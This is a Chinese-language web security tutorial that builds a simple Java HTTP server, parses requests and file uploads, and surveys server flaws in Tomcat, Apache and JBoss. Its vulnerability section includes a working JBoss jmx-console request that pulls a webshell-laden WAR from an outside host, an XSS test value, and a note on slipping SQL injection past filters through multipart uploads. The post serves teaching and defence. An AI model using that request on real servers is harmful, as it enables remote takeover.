攻擊JavaWeb應用[9]-Server篇[2]
注:在繼後門篇後已經有很長時間沒更新了,這次一打算寫寫Server[1]
的續集。喜歡B/S嗎?那我們今天干脆就來寫一個簡單的“Web伺服器”吧。
0x01 WebServer
Web伺服器可以解析(handles)HTTP協議。當Web伺服器接收到一個HTTP請求(request),會返回一個HTTP響應(response),例如送回一個HTML頁面。
Server篇其實還缺少了JBOSS和Jetty,本打算放到Server[2]
寫的。但是這次重點在於和大家分享B/S實現和互動技術。Server[1]
已經給大家介紹了許多由Java實現 的WebServer相信小夥伴們對Server的概念不再陌生了。Web伺服器核心是根據HTTP協議解析(Request)和處理(Response)來自客戶端的請求,怎樣去解析和響應來自客戶端的請求正是我們今天的主題。
B/S互動

瀏覽器傳送HTTP請求。經Internet連線到對應伺服器。伺服器解析並處理Http請求,返回處理結果到瀏覽器。瀏覽器解析伺服器返回的資料並顯示解析後的網頁。
在學習之前需要了解瀏覽器和Server工作原理,比如什麼是HTTP協議什麼是Socket。對於更底層的協議暫不提及。
HTTP協議
HTTP的發展是全球資訊網協會(World Wide Web Consortium)和Internet工作小組(Internet Engineering Task Force)合作的結果,(他們)最終釋出了一系列的RFC,其中最著名的RFC 2616,定義了HTTP協議中現今廣泛使用的一個版本—HTTP 1.1。
詳情: http://www.w3.org/Protocols/
請求http://www.google.com:

客戶端瀏覽器傳送了一個HTTP請求, 第一行GET / HTTP/1.1即:以GET方式請求“ /” 目錄HTTP/1.1是請求的HTTP協議版本。而Google返回的則是一個基於HTTP協議的響應,其中包括了狀態碼、內容長度、伺服器版本、以及返回內容型別等。客戶端瀏覽器傳送了一個請求(HttpRequest),Google伺服器返回處理(Handling Request)並響應(HttpResponse)了這個請求。
通俗的說HTTP協議是一種固定的請求格式,只要按照固定的格式去傳送請求,伺服器就可以按照固定的方式去處理來自客戶端的請求。
Socket:
Socket是應用層與TCP/IP協議族通訊的中間軟體抽象層,它是一組介面。Socket通常也稱作”套接字",用於描述IP地址和埠,是一個通訊鏈的控制程式碼。在Internet上的主機一般執行了多個服務軟體,同時提供幾種服務。每種服務都開啟一個Socket,並繫結到一個埠上,不同的埠對應於不同的服務。 
0x01 Java實現Web Server
Oracle提供了一個基礎包:java.net用來實現網路應用程式開發。提供了阻塞的Socket和、非阻塞的SocketChannel、URL等。 客戶端透過Socket與伺服器端建立連線,然後客戶端傳送請求內容到伺服器。伺服器接收到請求返回給客戶端,請求完成後斷開連線。
1、Client
傳送一個非標準的HTTP請求內容為”Hello...”給SAE伺服器: 
請求首先到達了對方監聽80埠的nginx,在發現客戶端傳送的內容不符合HTTP請求規範的同時返回了一個400錯誤(400 Bad Request)。 傳送一個合法的HTTP請求(不截圖了,把上面的Hello...換成了req),即傳送:
"GET / HTTP/1.1\r\n"+
"Host: www.wooyun.org\r\n"+
"Connection: keep-alive\r\n"+
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"+
"Cookie: bdshare_firstime=1387989676924\r\n\r\n”;
伺服器返回資訊: 
兩次請求的差異在於是否按照HTTP協議傳送,當我們隨意向目標埠傳送請求時,返回了一個錯誤請求結果。當傳送符合HTTP協議的請求時伺服器返回了正確的處理結果。所以只需按照HTTP協議去解析請求和響應即可。與此同時不難看出請求頭的任何內容都是可以偽造的,這也是之前寫cs互動的時候提到為什麼不要信任來自客戶端的任意請求的根本原因。現在嘗試著寫一個Server,去解析來自瀏覽器的請求。
除了使用上面的“冗餘程式碼”去傳送HTTP請求,你還可以用oracle自帶的URL包去傳送HTTP請求會更加簡單。透過setRequestProperties一樣可以修改請求頭。用getHeaderFields就能獲取到響應頭資訊了。
2、簡單HTTP伺服器實現
需再一次看下上面Socket流程圖,在伺服器上監聽某個埠(listen),等待請求(accept)。一旦有連線到達就開始讀取請求內容(read),然後處理並輸出響應內容(write),最後close。伺服器端核心業務是獲取請求、解析請求、處理請求、返回響應。
Server.java核心程式碼: 
瀏覽器請求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm2&pass=123 
瀏覽器請求頭:
GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1
Host: 192.168.199.240:9527
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
現在需要做的是解析請求。在Server裡面有一段解析請求的程式碼:Request req = new Request().parserRequest(sb.toString());//
解析請求。具體的需要解析的內容包括:請求頭(Header)、請求引數(Parameter)、請求的URI(RequestURI)等。如果是檔案上傳請求的話還得解析具體的內容(form-data)。 在解析的整個過程沒看過RFC文件,只是根據個人理解去實現請求解析,有不對的地方見諒。
首先用換行符切開請求頭,得到如下結果:GET /wooyun.jsp?user=yzmm&pass=123 HTTP/1.1
。可見這裡是按空格隔開的,用正則的\s就可以切開了當前行了。這樣就能簡單的拿到:[GET, /wooyun.jsp?user=yzmm&pass=123, HTTP/1.1]
把他們儲存到類的成員變數以便後面呼叫。
解析請求頭比較簡單,只需把請求頭內容按照key、value方式解析出來就行了。比如:Host: localhost:9527
,解析後就成了key=Host,value=localhost:9527
。parserGET方法就更簡單了,把 /wooyun.jsp?user=yzmm&pass=123
以”?”號切開後再以”=”號切開,最終得到的是key=user,value=yzmm、key=pass,value=123
。

 處理結果都裝在瞭如下變數:
#!java
private String method;
private String queryString;
private String requstURI;
private String host;
private Map<String, Object> formContent = new LinkedHashMap<String, Object>();
private Map<String, Object> header = new LinkedHashMap<String, Object>();
private Map<String, Object> parameter = new LinkedHashMap<String, Object>();
private Map<String, Object> multipart = new LinkedHashMap<String, Object>();
如果想取出請求引數可以用parameter.get(“xxxx”)就行了,是不是跟javaee有那麼些相似了?當請求解析完成後需要去載入請求的檔案,比如這裡的wooyun.jsp。
當請求處理完後呼叫getResponse方法把結果輸出到瀏覽器:
#!java
public String getResponse(String content){
return "HTTP/1.1 200 OK\r\n"+
"server: "+Constants.SYS_CONFIG_NAME+"\r\n"+
"Date: "+new Date()+"\r\n"+
"X-Powered-By-yzmm: "+Constants.SYS_CONFIG_VERSION+"\r\n"+
"Content-Type: text/html\r\n"+
"Content-Length: "+(content!=null?content.length():0)+"\r\n\r\n"+
content;
}
從上可見伺服器的響應資訊也是可以任意的。比如我修改了響應中的server的值你就會在瀏覽器的Response當中看到當前的server是: z7y-server。出現在響應頭裡面有意思的漏洞有:CRLF注入,有興趣的小夥伴兒可以瞭解下。
0x02 檔案上傳請求解析
檔案上傳請求和普通的GET、POST不一樣,在JavaEE裡面會把multipart請求封裝成一個InputStream物件。如果想要從請求裡面解析具體的檔案內容需要讀取流。值得注意的是multipart/form-data中的input域也會包含在InputStream裡面。在JavaEE裡面可以用:request.getInputStream();或request.getReader();方法獲取。
#!html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>File Upload</title>
</head>
<body>
<form action="http://192.168.199.240:9527/wooyun.jsp?user=zsy&pass=123" method="post" enctype="multipart/form-data">
1<input type="checkbox" value="1" name="i" checked="checked" /> 2<input type="checkbox" value="2" name="i" checked="checked" /><br/>
<input type="file" name="file" /><br/>
<input type="text" value="<script>alert('你好.');</script>" name="name" style="width:250px;" / ><br/>
<input type="submit" value="sub" />
</form>
</body>
</html>
檔案域下方Content-Type: text/html實際上隱藏了upload.html的內容,chrome不會在那兒顯示。判定一個請求是否是檔案上傳只需從請求頭裡面取出Content-Type就行了,如果type是multipart/form-data;即標識當前請求型別是檔案上傳。
關於檔案上傳請求解析,我寫的比較粗暴了。按照分割線分別把內容域和檔案域提取出來,並封裝到multipart map裡面,它們的key分別是file和para。 
寫檔案到”伺服器”: 
檔案上傳請求安全問題
值得注意的是假如一個檔案上傳和input域同時出現的情況下,跨站和Sql注入機率會非常的高。因為檔案上傳會把input域的請求引數封裝到流裡面,很多時候並沒有人會去處理這樣的惡意請求。
類似的案例: WooYun: 360網站寶/安全寶/加速樂及其他類似產品防護繞過缺陷之一 。漏洞提交者在檔案上傳請求中傳遞了SQL隱碼攻擊語句,而上面的安全軟體的攔截都失效了。。。
據說在PHP裡面還存在另外一個問題,檔案上傳的input域請求會被解析到對應的POST請求物件當中。那麼也就是說假設一個站攔截了普通的GET、POST請求,但是沒有攔截檔案上傳的惡意請求。僅需要簡單的構造一個上傳並傳遞注入語句就繞過了所謂的防禦了。
0x03 檔案或虛擬路徑請求和處理
虛擬路徑請求處理
在Servlet裡面一個Servlet對映的是一個虛擬的路徑。比如請求:http://xxx /servlet/hello。這個servlet/hello並不是一個實際存在的檔案地址。所以我們請求的wooyun.jsp可以是真實存在的一個檔案,也可以是一個虛擬的路徑。比如當客戶端請求wooyun.jsp的時候我們把請求交給Controller去處理(仿MVC): 
而我們的控制層假設做了一個請求校驗:當user等於yzmm的時候輸出Good!,否則輸出Error. 
分別請求:http://192.168.199.240:9527/wooyun.jsp?user=yzmm&pass=123和user=zsy輸出都是正常的。 
普通的檔案請求
假如使用者請求的不是虛擬路徑而是一個實際存在的檔案呢?這個時候就需要把伺服器的檔案內容讀取並返回給客戶端。比如把Contoller注掉改為content = readFile(request);這次去讀取ROOT下的wooyun.jsp內容。 
這次輸出了”使用者目錄/webapps/zsy/ROOT/wooyun.jsp”內容。
0x04 Server安全問題
檔案解析漏洞
伺服器在處理請求或其本身可能存在一些安全問題。經典的比如IIS、Nginx解析漏洞。那麼是什麼原因讓Server變得這麼”不安全”呢?
在之前的系列裡面講過如果把Tomcat的web.xml的filter新增任意字尾到servlet-name為jsp的Servlet當中,那麼所有字尾為.txt的請求都會被當作jsp解析! 
假設Tomcat在寫正則的時候一不小心寫成了:
#!java
Pattern.compile("\\.jsp").matcher("1.jsp.jpg").find();
那麼所有的1.jsp.jpg的請求都會交給jsp對應的servlet處理。跟這類似的漏洞apache曾經就出現過。問題是apache如果在mime.types檔案裡面沒有定義的副檔名,會給解析成倒數第二個定義的副檔名。
檔案讀取漏洞
好吧,這個Tomcat做的有點奇葩。在某些低版本的Tomcat當請求目錄並沒有找到對應的索引檔案,且web.xml的listings是true。於是Tom貓就乾脆列出這個目錄的所有檔案。
Tomcat還出過另一個低階漏洞,當請求的檔案是UTF-8編碼的時候會造成任意檔案遍歷漏洞。觸發的條件為Apache Tomcat的配置檔案context.xml 或 server.xml 的'allowLinking' 和 'URIencoding' 允許'UTF-8'選項
War檔案部署漏洞
很多時候需要線上上部署一個新的應用時可以在Server的控制檯去動態的部署一個war檔案(其實就是一個壓縮檔案包)。Server會自動解壓並部署。這雖說是非常的方便,但是卻因為Server各自的實現不一或者自身安全意思淡漠導致任意的war檔案都可以遠端部署到Server中去。這裡面的典型代表就是Jboss。請求:
http://192.168.0.113:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://www.ahack.net/iswin.war
成功後訪問:http://192.168.0.113:8080/iswin/index.jsp
菜刀連線(預設包含index.jsp、index.jspx、index.jspf、cmd.jsp三個shell)。
測試版本:jboss-6.1.0.Final。http://p2j.cn/?p=342
控制檯輸出資訊: 
這貨去年十月還出過一個高危的漏洞,同樣是遠端war部署。
Apache Tomcat/JBoss EJBInvokerServlet / JMXInvokerServlet (RMI over HTTP) Marshalled Object RCE
詳情: http://www.exploit-db.com/exploits/28713/ http://zone.wooyun.org/content/7398
除了上述漏洞某些Server還出過拒絕服務漏洞、控制檯弱口令漏洞、爆路徑漏洞、WebDAV、XSS等漏洞。可謂想做好一個WebServer是非常的艱難。
0x05 Server漏洞防禦
在總結了之前的Server安全問題之後,我們有沒有想過怎麼去防禦來自客戶端的攻擊呢?我們應該如何去防禦?這裡僅簡要介紹防範思路至於防禦細節,對不起請自行實現。
防禦方式:
1、由遠及近,從CDN層我們可以攔截所有的惡意請求。可以嘗試在請求到達伺服器之前淨化請求資訊。
2、從網路層可以用硬防處理惡意請求。
3、從伺服器層可以寫對應的Server擴充(Filter)攔截惡意請求。
4、安裝伺服器安全軟體。
5、在應用層需要儘可能的注重程式碼編寫,如果無法確保安全性可以在應用層寫一個安全過濾器。
從實現的角度來說前兩者的成本較高,效果或許並不會特別明顯,後面幾種方式顯得更輕。
這一期可以說是對Server篇的補充吧,原始碼沒什麼水平有興趣的朋友可以看看(下載地址:http://pan.baidu.com/s/1qW2Nwx2 )。希望大家看過笑笑之後更加“深入”的瞭解Request和Response吧。原打算寫個簡易瀏覽器也沒時間了。快過年了,祝小夥伴們新年快樂!
相關文章
- 攻擊JavaWeb應用————9、後門篇2018-05-18JavaWeb
- 攻擊JavaWeb應用[7]-Server篇[1]2020-08-19JavaWebServer
- 攻擊JavaWeb應用————7、Server篇(上)2018-05-18JavaWebServer
- 攻擊JavaWeb應用————8、Server篇(下)2018-05-18JavaWebServer
- 攻擊JavaWeb應用[4]-SQL隱碼攻擊[2]2020-08-19JavaWebSQL
- 攻擊JavaWeb應用[8]-後門篇2020-08-19JavaWeb
- 攻擊JavaWeb應用[2]-CS互動安全2020-08-19JavaWeb
- 攻擊JavaWeb應用————2、CS互動安全2018-05-17JavaWeb
- 攻擊JavaWeb應用[3]-SQL隱碼攻擊[1]2020-08-19JavaWebSQL
- 攻擊JavaWeb應用[5]-MVC安全2020-08-19JavaWebMVC
- 攻擊JavaWeb應用————5、MVC安全2018-05-18JavaWebMVC
- 攻擊JavaWeb應用[1]-JavaEE 基礎2020-08-19JavaWeb
- 攻擊JavaWeb應用——3、sql注入(上)2018-05-17JavaWebSQL
- 攻擊JavaWeb應用————1、JavaEE基礎2018-05-17JavaWeb
- 攻擊JavaWeb應用[6]-程式架構與程式碼審計2020-08-19JavaWeb架構
- 攻擊JavaWeb應用————6、程式架構與程式碼審計2018-05-18JavaWeb架構
- 應用服務攻擊工具clusterd2017-09-04
- 利用Burp Suite攻擊Web應用2018-06-27UIWeb
- 【SQL Server】--SQL隱碼攻擊2015-01-31SQLServer
- Akamai:65.1%的Web應用程式攻擊來自SQL隱碼攻擊2019-07-09AIWebSQL
- httpoxy漏洞遠端攻擊PHPPython應用2017-09-01HTTPPHPPython
- 利用 cookie 篡改來攻擊 Web 應用程式2009-04-14CookieWeb
- 詳解Web應用安全系列(2)注入漏洞之XSS攻擊2024-06-21Web
- 攻擊者使用SQLite資料庫中的惡意程式碼攻擊應用程式2019-08-12SQLite資料庫
- 報告稱超6成Web應用程式攻擊來自SQL隱碼攻擊2019-07-10WebSQL
- WMI 的攻擊,防禦與取證分析技術之攻擊篇2020-08-19
- 【日常篇】DOS攻擊和DDOS攻擊之間有什麼區別?2022-04-11
- 攻擊推理-安全知識圖譜在自動化攻擊行為提取上的應用2021-06-18
- 使用混沌候攻擊測試Spring Boot應用2018-08-25Spring Boot
- ArborNetworks基於應用層防護DDoS攻擊2017-10-12
- WAF攻防之SQL隱碼攻擊篇2018-02-26SQL
- 常見網路攻擊:XSS 篇2018-05-03
- PowerShell安全專題之攻擊工具篇2017-09-25
- 黑客攻防應用:利用密碼檔案檢測攻擊2017-10-18黑客密碼
- React 防注入攻擊 XSS攻擊 (放心大膽的用吧)2020-10-12React
- 用 JavaScript 對抗 DDOS 攻擊2016-03-08JavaScript
- 無線攻擊工具NETATTACK 22017-06-28
- 非掃描式定位攻擊域內SQL Server2020-08-19SQLServer